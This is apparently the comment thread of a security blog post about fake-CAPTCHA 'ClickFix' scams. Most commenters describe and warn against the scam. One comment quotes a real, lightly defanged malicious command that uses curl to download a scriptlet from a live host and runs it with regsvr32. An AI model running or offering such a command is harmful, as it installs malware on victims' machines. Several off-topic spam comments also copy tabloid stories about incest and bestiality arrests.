New variant of an old scam: Use the framing of a CAPTCHA to get an unsuspecting user to download and run a malicious program.
New variant of an old scam: Use the framing of a CAPTCHA to get an unsuspecting user to download and run a malicious program.
Daniel Jones • September 16, 2026 8:30 AM
I recently came across one in an investigation and yes it did run an active TDS that fingerprinted users device and network information and then actively routed to different payloads to different devices. Datacenter based IP’s were nearly always served a clean benign page which most of todays URL scanners use datacenter based IP’s. However if the user was on a residential or mobile IP, they’re served the actual payload. If the TDS fingerprinted as an bot/scanner it would send you to a monetization domain.
I just published the full article and whitepaper on this investigation, A real Carnival Cruise Line email was serving customers malware, you’ll actually see some screenshots of your fake CAPTCHA on it.
_Jim • September 16, 2026 8:49 AM
Experienced this little script (below) as part of a captcha on a well-known website in the form of a pop-up that requested the “Windows Key + R etc” routine be performed.
This was what was to be ‘pasted’ and executed (can I post this here for forensic purposes?)
pcalua[dot]exe -a cmd -c “/c curl[dot]exe -s https://193-233-126-53 [dot] sslip [dot] io/d3f8a142c9/verification[dot]sct -o %TEMP%\v[dot]sct&®svr32 /s /n /u /i:%TEMP%\v[dot]sct scrobj[dot]dll”
‘[dot]’ or ‘ [dot] ‘ replaces “.”
Anonymous • September 16, 2026 9:49 AM
You’re a little late to this.
Research the terms “ClickFix” and “FileFix” for more information.
KC • September 16, 2026 10:04 AM
“First phishing, then a fake captcha and a terminal command – this is how the cyberattack on Berlin proceeded, according to initial analyses.”
The Berlin Senate is recovering from a ClickFix variant attack initiated in August 2026.
https://www.heise.de/en/news/BSI-explains-first-attack-vector-on-Berlin-authorities-11444212.html
https://en.wikipedia.org/wiki/2026_ransomware_attack_on_Berlin
Perrystate • September 16, 2026 10:19 AM
The clever part of this scam is that it turns a familiar security check into the attack itself. People are so accustomed to completing CAPTCHAs that they may follow instructions without questioning them. A useful rule of thumb: if a CAPTCHA asks you to download software, open a terminal or run a command, close the page immediately. A genuine human-verification check shouldn’t require any of those actions.
John White • September 16, 2026 2:39 PM
I have seen a number of these scams recently, where Cloudflare is pushing Android malware as its primary captcha option. Very disturbing.
anonymouse random • September 16, 2026 4:45 PM
@Perrystate: “The clever part of this scam is that it turns a familiar security check into the attack itself. People are so accustomed to completing CAPTCHAs that they may follow instructions without questioning them.”
I have seen phishes in the form of CAPTCHAs that pre-fill your email address and solicit your password to “verify” that you “are not a bot”. Don’t get socially-engineered!
Anonymous • September 17, 2026 4:18 AM
Please click on the image below to confirm
Your identity:
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⠿⠿⠿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣶⣿⣿⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣾⣿⣶⣶⣤⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠘⢿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠈⠻⣿⣿⣿⣿⣆⠀⠀⠀⢀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀
⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⣀⣤⣶⣶⣌⠻⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀
⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⠁⣰⣿⣿⣿⣿⣿⣦⣙⢿⣿⣿⣿⠄⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣦⣹⣟⣫⣼⣿⣿⣶⣿⣿⣿⣿⣿⣿⣯⡉⠉⠉⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠐⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⡆⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⡇⠀⢻⣿⣿⣿⣿⣿⡇⠀⠀⠈⠉⠉⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠀⠀⠀⠀⠀⠀⠀
⠀⣠⣴⣶⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠹⢿⣿⣿⢿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀
⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢰⣶⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣧⣄⣐⣀⣀⣀⣀⣀⡀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠉⠉⠙⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠁⠛⠛⠛⠛⠛⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁
Anonymous • September 17, 2026 4:26 AM
Please please me okay I will hahahah now that was fun can you say c0l0rs? I think you can, I know you can, I am proud of you why thank you you’re welcome
🍓❤️🔥🧡✨💛🐝♻️💚🥑💎💙💙💜🔮
❤️🧡🧡🌻💛🍯🐢🍏💚💙💙💙💟💜💜
🧡🦊👑💛💡💚✅💚💙🌊💙😈🔮💜💜
🐥🌻✨💛♻️💚💚💙💙💙💎💜💜💟💮
💛🐝💛🥑🐢💚💤💎💙💙💜🔮😈🪱🧶
👑💛🍏🍀🍏🌍💙💤😈💜💜💜🌷💗💗
🌻💚💚💚💙🌀💙🌆💜👾💜💗🦑💗💗
💚🍀🐢💙💎💙💙👾💜🌆🦑🧶💗💕💗
✅💚💙🌊💙💙🔮💜💜💗💮💗💗👛🦢
💚💙💙💙💙😈💜👾💗👛💗🌷🪱🤍🎲
🧊🌀💙🧊💜💜💜💗🌷💗💗💗🐚👻🤍
💙💙👾💜👾💜🪱🦑🦑💗💗🎲🤍🦢🤍
🌀💜💜🔮💜👛🧶💮💗🧶🤍👻🤍🤍🐚
👾🔮😈💜🌷💗💗👛💗🤍🤍🦢🤍🦢🤍
💟💜💜🦑💗💕🦑💗🤍🦢🤍☁️🤍🤍🌈
GI JOE • September 17, 2026 5:26 AM
Mom & Son Arrested For Family Affair
Duo confessed to four-year sexual relationship, police report alleges
https://thesmokinggun.com/documents/florida/mother-and-son-187596
SEPTEMBER 16–The investigation started after a 22-year-old man told police he “was tired of having sexual intercourse with his mother.”
A domestic dispute last month resulted in the discovery of a four-year incestuous relationship between Christina Clemens, 46, and her son Shane. The duo resides in a Lakeland, Florida mobile home with Christina’s husband Terry.
According to an arrest report, Shane told sheriff’s deputies that the altercation started due to his desire to cease illicit activities with his mother, a sexual relationship that began after he turned 18.
The very explicit report notes that the duo engaged in all sorts of sexual acts, used adult toys on each other, and that there were “cameras in the living room and bedroom that record the incidents.”
In a police interview, Shane said that he “did not grow up with Christina, but rekindled his relationship with her once he turned eighteen years old.” Initially, Shane said he was unaware that Christina was his biological mother, and had asked her to have sex.
While Christina “said no due to her being his mom,” they eventually began a sexual affair. Christina reportedly told investigators that the pair had sex on at least 100 separate occasions.
In a recorded jail phone call, Christina asked Shane if he wanted to “stop doing what we do,” adding that she intended to “delete all evidence” from her son’s phone. She also directed him to recant a confession he made to her husband of ten years: “But you need to tell Terry that you’re a liar and you only said that because you were mad.”
Pictured above, Christina and Shane are both locked up in lieu of $5000 bond on felony incest charges. They are scheduled to be arraigned in the coming weeks.
Anonymous • September 17, 2026 6:37 AM
‘Postpartum Psychosis’: Florida Mom Arrested After Husband Caught Her Allegedly Performing Sex Acts With Family Dog
https://www.ibtimes.co.uk/florida-woman-arrested-alleged-sexual-contact-family-dog-1820321
A Florida woman has been arrested after deputies said surveillance footage showed her allegedly engaging in sexual activity with the family dog.
Malia Elizabeth Nummerdor, 38, was arrested on 15 September in Port Charlotte and charged with sexual contact with an animal, a second-degree felony under Florida law, according to the Charlotte County Sheriff’s Office.
The investigation began after Nummerdor’s husband posted on Facebook on 11 September alleging he had discovered footage of his wife engaging in sexual acts with the family pet. He also claimed he had photographs and video evidence.
Husband Installed Cameras To Find Missing Money
The arrest report said Nummerdor’s husband had installed two security cameras inside the home while trying to determine who was taking money from a coin container. He told deputies that everyone in the household knew about the cameras.
While reviewing footage recorded by a bedroom camera, he allegedly discovered images of Nummerdor with the family dog. He then provided investigators with screenshots and access to the laptop containing the recordings.
Investigators said the footage showed Nummerdor partially nude, with the dog positioned in a way they considered consistent with sexual activity.
During her interview, Nummerdor acknowledged that she was the person shown in the recording and confirmed the dog was the family pet. However, she denied that any sexual contact had taken place.
As expected, the news prompted a wave of reactions online.
‘Must be Postpartum psychosis. So she is innocent,’ one X user said.
‘She must be friends with Kash Patel,’ another commented.
‘Why she smiling tho,’ someone wondered.
Nummerdor Denies Sexual Contact
According to the sheriff’s office, Nummerdor told investigators that she had only been petting or lying with the dog and denied any sexual contact had taken place. Detectives, however, said they found her explanation inconsistent with what appeared to be shown in the recording and she was unable to provide a clear explanation for some of the actions captured on camera.
During the interview, Nummerdor eventually requested an attorney, bringing the questioning to an end. Deputies then informed her that she was under arrest and took her into custody on the animal sexual contact charge.
Florida’s 2026 statute defines sexual contact with an animal as specified contact involving a person and an animal for sexual gratification, abuse or financial gain. Knowingly engaging in such conduct is classified as a second-degree felony.
A second-degree felony in Florida can carry a prison sentence of up to 15 years upon conviction, although sentencing depends on the circumstances and applicable rules in the case.
Sheriff Condemns Alleged Conduct
Sheriff Bill Prummell addressed the case in a statement released on 16 September.
‘There are only a few times in my career that I have been at a loss for words. This is one of those times. I simply cannot comprehend this behavior,’ he said. ‘I don’t know what there is to smile about when you’ve been arrested for something as disgusting as this.’
Nummerdor was being held at the Charlotte County Jail on a $35,000 (£26,267) bond. The booking record lists the charge under Florida Statute 828.126(2) as a second-degree felony.
The allegations have not been proven in court.
Ferentarius • September 17, 2026 8:31 AM
I have never seen it but I heard of captcha asking people to type keyboard shortcuts in order to verify they are human. Scam alert!
Subscribe to comments on this entry
Sidebar photo of Bruce Schneier by Joe MacInnis.
Q • September 16, 2026 8:16 AM
I’ve never seen the fake CAPTCHA yet. but I wonder if the code is clever enough to sniff the user agent and only offer it to Windows users?
Since I use Linux, and I don’t fake the user agent string, perhaps I won’t ever see one of these things. When I press the required Win+R I see the application finder, not a box to run commands.